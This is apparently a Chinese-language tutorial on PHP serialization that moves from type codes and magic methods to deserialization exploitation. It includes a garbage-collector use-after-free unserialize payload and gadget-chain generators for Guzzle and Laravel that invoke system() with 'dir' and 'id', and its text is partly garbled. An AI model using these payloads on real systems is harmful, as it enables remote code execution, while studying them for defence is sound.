php 序列化與反序列化

a - array 數(shù)組b - boolean 布爾d - double 浮點數(shù)i - integer 數(shù)字o - common object PHP3 中被引入用來序列化對象r - reference 對象引用s - non-escaped binary stringS - escaped binary stringC - custom object 自定義的對象序列化O - class 序列化對象 PHP4 取代oN - nullR - pointer reference 指針引用U - unicode string PHP6 引入unicode編碼字符串

class SampleClass {    var $value;}$a = new SampleClass();$a->value = $a; //對象引用$b = new SampleClass();$b->value = &$b; //指針引用var_dump(serialize($a));var_dump(serialize($b));$a->value = 1; //不會更改本身對象$b->value = 1; //會改變本身對象var_dump(serialize($a));var_dump(serialize($b));

O:11:"SampleClass":1:{s:5:"value";r:1;}O:11:"SampleClass":1:{s:5:"value";R:1;}O:11:"SampleClass":1:{s:5:"value";i:1;}i:1;

class demo{  protected $protected = 1;  private $private = 2;}$c = new demo;var_dump(serialize($c));$s = "O:4:\"demo\":1:{s:1:\"s\";N;}";var_dump(unserialize($s));$f = "O:4:\"demo\":2:{s:12:\"\00*\00protected\";i:2;s:13:\"\00demo\00private\";N;}";var_dump(unserialize($f));

O:4:"demo":2:{s:12:"?*?protected";i:1;s:13:"?demo?private";i:2;}

object(demo)[2]  protected 'protected' => int 1  private 'private' => int 2  public 's' => null

object(demo)[2]    protected 'protected' => int 2    private 'private' => null

Serializable {  abstract public string serialize ( void )  abstract public mixed unserialize ( string $serialized )}

class demo implements Serializable{  private $data;  public function __wakeup(){        var_dump("__wakeup");    }    public function __sleep(){        var_dump("__sleep");    }    public function __construct(){    $this->data = "this is demo";    var_dump("__construct");  }  public function serialize(){    return serialize($this->data);  }  public function unserialize($data){    $this->data = unserialize($data);  }  public function getData(){    return $this->data;  }  public function __destruct(){    return var_dump("__destruct");  }}$obj = new demo;$ser = serialize($obj);$b = unserialize($ser);var_dump($b);

'__construct'?(length=11)
object(demo)[2]s??private?'data'?=>?string?'this?is?demo'?(length=12)
'__destruct'?(length=10)
'__destruct' (length=10)

define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);// Create a fake zval string which will fill our freed space later on.$fake_zval_string = pack('L', 1337).pack('L', 0).str_repeat("\x01", 8);$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';// Create a sandwich like structure:// TRIGGER_GC;FILL_FREED_SPACE;[...];TRIGGER_GC;FILL_FREED_SPACE$overflow_gc_buffer = '';for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {    $overflow_gc_buffer .= 'i:0;a:0:{}';    $overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;}// The decrementor_object will be initialized with the contents of our target array ($free_me).$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';// The following references will point to the $free_me array (id=3) within unserialize.$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';// Setup our target array i.e. an array that is supposed to be freed during unserialization.$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';// Increment each decrementor_object reference count by 2.$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';// Trigger the GC and free our target array.$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';// Add our GC trigger and add a reference to the target array.$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';$a = unserialize($payload);var_dump($a);

__construct()， __destruct()， __call()， __callStatic()， __get()， __set()， __isset()， __unset()， __sleep()， __wakeup()， __toString()， __invoke()， __set_state()， __clone() 和 __debugInfo() 等方法在 PHP 中被稱為魔術方法（Magic methods）在給不可訪問屬性賦值時，__set() 會被調(diào)用。讀取不可訪問屬性的值時，__get() 會被調(diào)用。當對不可訪問屬性調(diào)用 isset() 或 empty() 時，__isset() 會被調(diào)用。當對不可訪問屬性調(diào)用 unset() 時，__unset() 會被調(diào)用。屬性重載只能在對象中進行。在靜態(tài)方法中，這些魔術方法將不會被調(diào)用。所以這些方法都不能被 聲明為 static。從 PHP 5.3.0 起, 將這些魔術方法定義為 static 會產(chǎn)生一個警告。

function __call($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling object method '$name' "             . implode(', ', $arguments). "\n";    }    /**  PHP 5.3.0之后版本  */    public static function __callStatic($name, $arguments)    {        // 注意: $name 的值區(qū)分大小寫        echo "Calling static method '$name' "             . implode(', ', $arguments). "\n";    }}$obj = new MethodTest;$obj->runTest('in object context');MethodTest::runTest('in static context');  // PHP 5.3.0之后版本?>Calling object method 'runTest' in object contextCalling static method 'runTest' in static context

O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:3:\"dir\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}

public function generate(array $parameters){        $function = $parameters['function'];        $parameter = $parameters['parameter'];

        return new \GuzzleHttp\Psr7\FnStream([            'close' => [                new \GuzzleHttp\HandlerStack($function, $parameter),                'resolve'            ]        ]);    }

namespace Psr\Http\Message{  interface StreamInterface{}}
namespace GuzzleHttp\Psr7{  class FnStream implements \Psr\Http\Message\StreamInterface  {??????private?$methods;      public function __construct(array $methods)      {??????????$this->methods?=?$methods;          foreach ($methods as $name => $fn) {              $this->{'_fn_' . $name} = $fn;          }??????}      /*      public function __destruct()      {          if (isset($this->_fn_close)) {              call_user_func($this->_fn_close);          }      }
      public function close()      {          return call_user_func($this->_fn_close);      }      */  }}namespace GuzzleHttp{  class HandlerStack  {      private $handler;      private $stack;??????private?$cached?=?false;      function __construct($function, $parameter)      {        $this->stack = [[$function]];        $this->handler = $parameter;??????}      /*      public function resolve()      {          if (!$this->cached) {              if (!($prev = $this->handler)) {                  throw new \LogicException('No handler has been specified');??????????????}              foreach (array_reverse($this->stack) as $fn) {                  $prev = $fn[0]($prev);??????????????}              $this->cached = $prev;??????????}          return $this->cached;      }      */  }}

protected function mockConsoleOutput(){        $mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),????????]);
        foreach ($this->test->expectedQuestions as $i => $question) {            $mock->shouldReceive('askQuestion')                ->once()                ->ordered()                ->with(Mockery::on(function ($argument) use ($question) {                    return $argument->getQuestion() == $question[0];                }))                ->andReturnUsing(function () use ($question, $i) {????????????????????unset($this->test->expectedQuestions[$i]);
                    return $question[1];                });????????}        $this->app->bind(OutputStyle::class, function () use ($mock) {            return $mock;        });    }

namespace Illuminate\Foundation\Testing{    class PendingCommand{        public $test;        protected $app;        protected $command;????????protected?$parameters;????????        public function __construct($test, $app, $command, $parameters){            $this->test = $test;            $this->app = $app;            $this->command = $command;            $this->parameters = $parameters;        }    }}
namespace PHPUnit\Framework{    class TestCase{        public function __construct(){ }    }}
namespace Illuminate\Foundation{    class Application{        public function __construct() { }    }}
namespace{    $defaultgenerator = new PHPUnit\Framework\TestCase;    $application = new Illuminate\Foundation\Application();    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand($defaultgenerator, $application, 'system', array('id'));    echo urlencode(serialize($pendingcommand));}

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [            (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),        ]);

namespace Faker{    class DefaultGenerator  {      protected $default;      public function __construct($default = null)      {          $this->default = $default;      }  }}

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

public function make($abstract, array $parameters = []){        return $this->resolve($abstract, $parameters);    }

protected function resolve($abstract, $parameters = []){        $abstract = $this->getAlias($abstract);        $needsContextualBuild = ! empty($parameters) || ! is_null(            $this->getContextualConcrete($abstract)        );        if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {            return $this->instances[$abstract];        }        $this->with[] = $parameters;        $concrete = $this->getConcrete($abstract);        if ($this->isBuildable($concrete, $abstract)) {            $object = $this->build($concrete);        } else {            $object = $this->make($concrete);        }        foreach ($this->getExtenders($abstract) as $extender) {            $object = $extender($object, $this);        }        if ($this->isShared($abstract) && ! $needsContextualBuild) {            $this->instances[$abstract] = $object;        }        $this->fireResolvingCallbacks($abstract, $object);        $this->resolved[$abstract] = true;        array_pop($this->with);        return $object;    }

namespace Illuminate\Foundation{    class Application{        protected $instances = [];        public function __construct($instances = []){            $this->instances['Illuminate\Contracts\Console\Kernel'] = $instances;        }    }}